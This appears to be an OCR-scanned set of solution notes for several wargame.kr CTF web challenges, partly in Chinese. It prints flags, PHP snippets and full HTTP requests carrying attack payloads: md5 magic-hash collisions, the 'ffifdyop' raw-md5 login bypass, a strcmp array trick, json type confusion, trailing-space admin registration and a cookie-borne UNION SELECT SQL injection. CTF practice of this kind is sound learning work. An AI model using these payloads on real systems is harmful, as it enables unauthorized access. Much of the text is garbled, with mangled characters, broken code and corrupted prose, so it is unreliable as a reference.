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congratulations!!

Flag is : aeaec6b140afh3fc7a41281173790b65d01c6c26
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http://wargame.kr:8080/flee_button/?key=ad55
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mysql_connect(
mysql_select_db (
mysql_query (

= auth_code( );

mysql_real escape_string(trim(
mysql_real escape_string(trim(

=mysql_fetch_array(mysql_query(

( ( [ A
($id==

X B E ) mysql_real_escape_string FlI L utf-8 [M4ihD, HiAnE®IMESLdIE. MBIkt b, RMAKNSER
e, EBERA
id=GUEST&ps=guest B A],
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db_is_really_good

B o/t write. php #fi5E T /& sqlite 54 -
SRIE IS /

<br />
user_id=ad/min| <b>Fatal error</b>: Uncaught exception 'Exception' with message 'Unable to open database: unable to open database file' in
/home /wnnu/db_is_really_good/sqlite3.php:7
Stack trace:
#0 /home /www/db_is_really good/sqlite3.php(7): SqLite3-&gt;open(*./db/wkrm ad/mi...*)
#1 /home/www/db_is_really_good/memo.php(14): MyDB-&gt; construct(*. /db/wkrm_ad/mi.. ")
#2 {main}
thrown in <b>/home/www/db_is_really good/sqlite3.php</b> on line <b>7</b><br /=

R sqlite BIEZEN db SCAFEAL E £ /db/wkrm_username.dbit, B
9] http://wargame.kr:8080/db_is really_ good/db/wkrm_admin.db &SI E ZE A, BEEHL N EAEFT o sniE 7



ip memo
192.168.124.1 éCongratulationS!!
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fly me to the moon

ELEATRAE high-scores.php (L, BURSEMRKIEHATLLT .
md5_compare
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Congratulations! FLAG is : 280c48042da7c54e983fcb5ea0446e0bcc3fc74b
VALUE 1: QNKCDZO

VALUE 2 : 240610708
chk

md5_password

R 2 L

hello admin!
Password : 26d73768539808d9928c407598e38f68b3f10f98

password : ffifdyop login
strcmp

T I LIauws rwaLwJawa liguic i<
Post data

password[]=1

Congratulations! Flag is 963300aee25e9e9753f338c88f07500c169f6e99

type_confusion



v|Enable Post data Enable Referrer

Post data json={"key":0}|

{"code":true,"flag":"1c52989d07f2448b8046c36f4477705ac78a5098"}

tmitter

f£ join.php & Flhint, NiiZiEE DladminiE M mAT oo A A1), N Lid B R f 932

<tre=<td=ID=</td=<td=<input type="text" name="1d" maxlength="32":

Achae e =it mn

N admin a (ps:HHR 2 2548, SAIECKT32, HJa—MaPitrim(), XFEE#EWI3207 Ftrimut i) 1)

POST /tmitter/join.php HTTP/1.1

Host: wargame.kr:3080

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0] Gecko/20100101 Firefox/49.0
Accept: text/html,applicatien/xhtml+xml, application/xml;q=0.9,*/%;q=0.8
Accept-Language: zh,en-US;g=0.7,en;g=0.3

Accept-Encoding: gzip, deflate

Referer: http://wargame.kr:8080/tmitter/jo1n.php

Cookie: PHPSESSID=prflio770cktdasetblzadotclo

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 65

1d=admin aGps=adminl23

TEMT R, i flag

this flag is only for [218.29.102.101] -=
bc8b3d6608ff27d28a8b9cf98c30eabc3af7b2a3
This admin account will be deleted now...

SimpleBoard
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HTTR/1.1 200 OK

Date: Fri, 21 Oct 2016 13:58:32 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9- lubuntud.20
Content-Length: 38

Keep-alive: timeout=S, max=100
Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

<script=window.location="./"';</script=>



private function read chk($idx){
if(strpos($ COOKIE['view'], "/".$idx)
return true;
} else {
return false;
}

I== false) {

Pt LAFEAF AR IS ddx [FlE, 7 EARHR AT cookie BN, BUMK / + $idx HLfT 1, R w2l k& &, POCHIT:

—

—
GET /SimpleBoard/read.php?idx=S+union+select+1,2,3,flag+f romREADME HTTP/1.1
{Host: wargame.kr:8080

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101
Firefox/49.0

Thccept: text/html,application/xhtml+xml, application/xml;q=0.9,¥/*;q=0.8
Accept-Language: zh,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://wargame.kr:8080/SimpleBoard/

|Cookie: view=%2fS+union+select+1,2,3,flag+from-README
C1_sesslon=a%3410%34%7B5%3410%3A%225es551 0n_1 d%22%3B5%3A32%3A%22645588c e 0df 33733
. 73bB58b598400862f %22%3B5%3A10%3A%221 p_address%22%3Bs%3A14%34%22218. 29, 102, 101%22
'%3Bs%3A1 R 3A%22user_agents22%30s%3A76%3A%22Moz1 1 1 8%2FS . 0+%28X11%38+Ubuntus38+Li
NUX+xB6_64%3B+ w3449, 0F20+ Geck 0%2F20100101+F1 ref ox%2F49. 0%22%3Bs%301 3%3A%221 as
| t_actlvitys22%3B1%341477101121%3Bs%34%%3A%22user_data%22%3Bs%3A0%3A%22%22%385%3
H AP35 22N amess 22% 385 % 3A%% 3% 22bendawan g% 22% 385 % 3A5% 38% 2 2emal L %22% 385%3A22%30%22b
endawang12135%40163. confs22%3Bs%3A4%3A%22 | ang% 22%3Bs% 34 F34% 22en g% 22%3Bs% 341 1% 34
\%22achievementis22%3Bs%3A7%3A%22de f aul t%22%3B5%3A5% 3A%22p 01 nt%22%3B5%3A4%3A% 2215
SER22%3B%70T 1T a072724bc47f d1c279e3d4cd3030b09517b 2a

jConnection: keep-alive

Upgrade-Insecure-Requests: 1

HTTR/1.1 200 OK

Date: Sat, 22 Oct 2016 02:48:57 GMT
Server: Apache/2.4.7 (Ubuntu)
%-Powered-By: PHP/5.5.9- lubuntud. 20
Vary: Accept-Encoding

Content-Length: 582

Keep—Al1ve: timeout=5, max=100
Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

<style>
td {padding:3px; border:1px solid #ddd;}
td: first-child, td:last-child {text-align:center; font-weight:bold;}
thead td {font-weight:bold; text-align:center;}
thody td {padding:20px;}
tfoot td {text-align:center;}
</style=
<table=
<thead>
<tr><td>NUM</td><td>TITLE</td><td>HIT</td></tr>
<trs<tdsl</tds<tds2</td><td>3</td></tr>
</thead>
<thody>
<td colspan=3=a5h0ac6610ab256486d3b645841c86a260bd665f</td=
</tbody=
<tfoot=
<td colspan=3=<a href='./index.php'=LIST</a=</td>
</tfoot=>
</table>
<br /=
<a href="./classes.php?view-source"=view source (class)</a=>
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